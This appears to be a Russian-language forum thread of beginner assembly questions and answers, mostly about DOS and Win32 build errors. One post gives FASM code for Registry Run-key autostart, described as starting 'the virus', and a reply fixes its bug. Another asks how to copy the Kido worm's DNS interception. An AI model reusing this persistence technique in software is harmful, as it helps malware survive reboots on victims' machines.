[ Assembler ] — начинающим: задаем вопросы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by !_filin_!, 25 May 2007.

  1. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Почему из под отладчика нельзя менять содержимое полей пе заголовков длл файлов ? Не хватает прав ?
     
  2. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    http://msdn.microsoft.com/en-us/library/ms647591%28v=VS.85%29.aspx
    Судя по твоему вопросу, ты с оконными сообщениями вообще не знаком, а уже лезешь в асм.

    Зачем тебе это надо после того, как файл уже загружен в память?
     
    #802 GRRRL Power, 14 Aug 2010
    Last edited: 14 Aug 2010
  3. Welemir

    Welemir Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    229
    Likes Received:
    11
    Reputations:
    -4
    Не,забыл просто,как делать.Тогда другой вопрос - Есть ли послед. клавиш для вызова таблицы импортируемых функций в Olly Debugger ?
     
  4. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Где ошибка?
    Code:
    ;----------------------------------
    TITLE PRIMER1
    CODSEG SEGMENT
    ASSUME CS:CODSEG, DS:CODSEG, SS:CODSEG, ES:CODSEG
    ORG 100H
    BEGIN:
        JMP BEG_CODE
    TEXT DB 'Это моя первая программа. $'
    BEG_CODE:
        MOV AX,CS
        MOV DC,AX
    
        LEA DX,TEXT
        MOV AN,9
        INT 21H
    
    MOV AH,4CH
    INT 21H
    CODSEG ENDS
        END BEGIN
    
    Подскажите литературу для новичка
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    MOV AN,9
    Литературы дохера любой. Про дос забудь он не нужен почти
     
  6. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Code:
    include '%include%\win32ax.inc'
    .data
            reg_subkey           equ "Software\Microsoft\Windows\CurrentVersion\Run", 0
            reg_result           db  ?
            reg_value            db "test", 0
            ston_file            db "Test.Exe",0
    .code
    
    start:
            call autostart
    
    .end start
    
    
    
    proc autostart                        ; auto start the virus by win registry
    
         invoke RegOpenKeyEx,\            ; add to registry
                HKEY_LOCAL_MACHINE,\
                reg_subkey,\
                0,\
                KEY_SET_VALUE,\
                reg_result
     
    
         invoke RegSetValueEx,\
                dword[reg_result],\
                reg_value,\
                0,\
                REG_SZ,\
                ston_file,\
                eax
     
         invoke RegCloseKey,\
                dword[reg_result]
         ret
    endp                           
    
    Не могу понять, почему значения не прописываются в реестр.
    Компилится без ошибок, пробовал запускать из под админа в вин7, всеровно значения не пишутся :(
     
  7. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Как можно прикрутить manifest.xml файл ?
    ---------
    Разобрался
    Code:
    section '.rsrc' resource readable
    directory RT_MANIFEST,_manifest
    resource _manifest,1,LANG_NEUTRAL,manifest
    resdata manifest
    file '%include%\manifest.xml'
    endres       
    
     
    #807 SeNaP, 18 Sep 2010
    Last edited: 18 Sep 2010
  8. Tor Bel

    Tor Bel New Member

    Joined:
    13 Dec 2008
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    У Вас
    reg_result db ?
    а д.б.
    reg_result dd ?
     
  9. A1exx

    A1exx New Member

    Joined:
    8 Feb 2009
    Messages:
    24
    Likes Received:
    4
    Reputations:
    0
    Требуется составить программу для подсчета суммы двух 64 битных чисел. Числа вводятся с клавиатуры и результат отображается на экране. Предусмотреть неправильный ввод данных (сообщение об ошибке и завершение программы), а так же переполнение, когда сумма не помещается в 64 битное представление числа, необходимо выводить на экран всю информацию об этапах выполнения программы.

    Примеры:
    Введите число #1: 4235x
    >>> ошибка неправильный ввод данных
    >>> завершение программы
    ----------------------------
    Введите число #1: 4234
    Введите число #2: 4564
    >>> введены числа размером менее чем 32 бита (оптимизация)
    >>> результат 8798
    ----------------------------
    И т.д.
    Я знаю,что всю прогу влом кому-нибудь делать,даже если она лёгкая,но не могли бы хотя бы подогнать строки с проверкой на Ascii элементов строки и процедуру перевода етих долбанных наборов 12345 цифр в нормальное число!!!!!
    Заранее,Спасибо!
     
  10. Marra_Kesh

    Marra_Kesh New Member

    Joined:
    8 Aug 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Здраствуйте местные!!! Как удалить файл с помощью асм(fasm) файл, т.е. с помощью нахожу рекурс. обхода нахожу файл и удалить, КАК? спасибо
     
  11. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    Code:
    format PE GUI 4.0
    entry start 
    
    include 'include\win32a.inc'
    
    
    section '.data' data readable writeable 
    
            szfile     db 'C:\1.txt',0
    
    section '.code' code readable executable 
    
      start: 
            invoke  DeleteFile,szfile,0
            invoke  ExitProcess,0
    
     section '.idata' import data readable writeable
    
      library kernel32,'KERNEL32.DLL' 
    
      include 'include\api\kernel32.inc'
     
  12. DimQ™

    DimQ™ New Member

    Joined:
    11 Jul 2010
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    Есть 2 программы, одна выводит символ, вторая строку, просьба объяснить подробно по каждой строчке кода, что в ней делается, как и зачем :)

    EXE – программа:

    STAK SEGMENT STACK
    DB 256 DUP (?)
    STAK ENDS

    DATA SEGMENT
    SYMB DB '#'
    DATA ENDS

    CODE SEGMENT
    ASSUME CS:CODE,DS:DATA,SS:STAK
    START:
    XOR AX,AX
    MOV BX, data
    MOV DS,BX
    MOV AH, 02H
    MOV DL, SYMB
    INT 21H
    MOV AH,4CH
    INT 21H
    CODE ENDS
    END START



    COM – программа:

    CODE SEGMENT
    ASSUME CS:CODE,DS:CODE,SS:CODE
    ORG 100H
    START:
    MOV AH, 09h
    MOV DS:DX, OFFSET BUF
    INT 21H
    MOV AH,4CH
    INT 21H

    BUF DB "Hello$"
    CODE ENDS
    END START
     
  13. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    COM – программа:

    CODE SEGMENT // начинается сегмент кода
    ASSUME CS:CODE,DS:CODE,SS:CODE //Директива assume сообщает ассемблеру, как будут
    ; использоваться сегментные регистры. Эта директива
    ; не выполняет загрузку сегментных регистров, она
    ; нужна ассемблеру только для правильного вычисления
    ; смещений.
    ORG 100H // Эта строка нужна для создания com-программы.
    START: // отсюда начинается выполнение программы
    MOV AH, 09h // тут задаем тип прерывания
    MOV DSX, OFFSET BUF // помещаем нашу строку в регистр DSX
    INT 21H // вызываем прерывание вывода сообщения в поток
    MOV AH,4CH // корректно завершаем работу программы
    INT 21H

    BUF DB "Hello$" // наша строка с символом конца
    CODE ENDS // завершение сегмента кода
    END START

    Как то так :)
     
  14. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    Я прокомментирую:
     
  15. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Буквоед
     
  16. becensed

    becensed Member

    Joined:
    2 Dec 2009
    Messages:
    84
    Likes Received:
    24
    Reputations:
    1
    а ты уверен, что "DS - вот это правильно" ? :))

    (правильный овтет - dx)
     
  17. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    442
    Reputations:
    288
    люди помогите с таким вопросом,всем известный кидо перехватывает dns запрос к сайту который находится у него в списке,как можно такое реализовать?не знаком с dns api,буду благодарен за пример.
     
  18. Marra_Kesh

    Marra_Kesh New Member

    Joined:
    8 Aug 2010
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Привет знатоки!!! Есть у кого-нибуть пример работы с FTP (на FASM'e, простейший пример), чтобы файл можно было отправить на ftp... спасибо
     
  19. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    Пробую что-нибудь накодить на Асме. Не могу понять, почему абсолютно ничего не получается, пример простейший хелло ворлд.
    Взял пример с _wasm.ru ,там написано что сие есть прога под вин32.

    Мои действия - создаю файл example.asm, загружаю его в Masm, жму build all. Предварительно меняю в коде пути к kernel32.lib и другому на свои, иначе выдает ошибку. Масм вроде все компилирует, создает файл exe. Пробую запускать ехе - не запускается. Через командную строку тоже не работает ничерта. Система - WinXp sp3

    Подскажите пожалуйста, что я делаю не так? И вообще - с чего сейчас актуально изучать Асм под винду?

    Первый пример
    Code:
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    ;        ПРОЦ, МОДЕЛЬ, ОПЦИИ, ИНКЛУДЫ, БИБЛИОТЕКИ ИМПОРТА
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
     .386
     .model flat,stdcall
    option casemap:none
    
    includelib kernel32.lib
    
    SetConsoleTitleA PROTO :DWORD
    GetStdHandle PROTO     :DWORD
    WriteConsoleA PROTO    :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    ExitProcess PROTO      :DWORD
    Sleep PROTO            :DWORD
    
    
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    ;                         СЕКЦИЯ КОНСТАНТ
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
     .const
    
    sConsoleTitle  db 'My First Console Application',0
    sWriteText  db 'hEILo, Wo(R)LD!!'
    
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    ;                          СЕКЦИЯ КОДА
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
     .code
    
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    ;                    Самая Главная Процедура
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    Main PROC
      LOCAL hStdout :DWORD      ;(1)
    
    ;титл консоли
      push offset sConsoleTitle  ;(2)
      call SetConsoleTitleA
    
    ;получаем хэндл вывода    ;(3)
      push -11
      call GetStdHandle
      mov hStdout,EAX
    
    ;выводим HELLO, WORLD!    ;(4)
      push 0
      push 0
      push 16d
      push offset sWriteText
      push hStdout
      call WriteConsoleA
    
    ;задержка, чтобы полюбоваться;(5)
      push 2000d
      call Sleep
    
    ;выход                      ;(6)
      push 0
      call ExitProcess
    
    Main ENDP
    
    ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    end Main
    

    Второй код
    Code:
     .386
     .model flat,stdcall
    option casemap:none
    
    includelib kernel32.lib
    include windows.inc
    include kernel32.inc
    
     .const
    
    sConsoleTitle db 'My First Console Application',0
    sWriteText db 'hEILo, Wo(R)LD!!'
    
     .code
    
    Main PROC
      LOCAL hStdout :DWORD
    
      invoke SetConsoleTitle, offset sConsoleTitle
      invoke GetStdHandle, STD_OUTPUT_HANDLE
      mov hStdout,EAX
      invoke WriteConsole, hStdout, offset sWriteText, 16d, NULL, NULL
      invoke Sleep, 2000d
      invoke ExitProcess, NULL
    
    Main ENDP
    
    end Main
    
    

    upd. Сорри, уже разобрались, на Васме подсказали. Тут надо компилировать как консольное приложение а не как гуи. Сообщение можно удалить или оставить, может кому из новичков пригодится.
     
    #819 Flisk, 1 Nov 2010
    Last edited: 1 Nov 2010
  20. maked0n

    maked0n New Member

    Joined:
    14 Sep 2010
    Messages:
    144
    Likes Received:
    3
    Reputations:
    0
    подскажите, почему не компилируется?
    .386
    .model flat.stdcall
    .code
    start:
    mov eax. 2
    add eax. 3
    ret
    end start

    пример взял из книги
    вот ошибки:

    C:\masm32\projects\111.asm(2) : error A2008: syntax error : .
    C:\masm32\projects\111.asm(3) : error A2013: .MODEL must precede this directive
    C:\masm32\projects\111.asm(4) : error A2034: must be in segment block
    C:\masm32\projects\111.asm(5) : error A2008: syntax error : in instruction
    C:\masm32\projects\111.asm(6) : error A2008: syntax error : in instruction
    C:\masm32\projects\111.asm(7) : error A2034: must be in segment block
    C:\masm32\projects\111.asm(8) : error A2006: undefined symbol : start
    C:\masm32\projects\111.asm(8) : error A2148: invalid symbol type in expression :
    start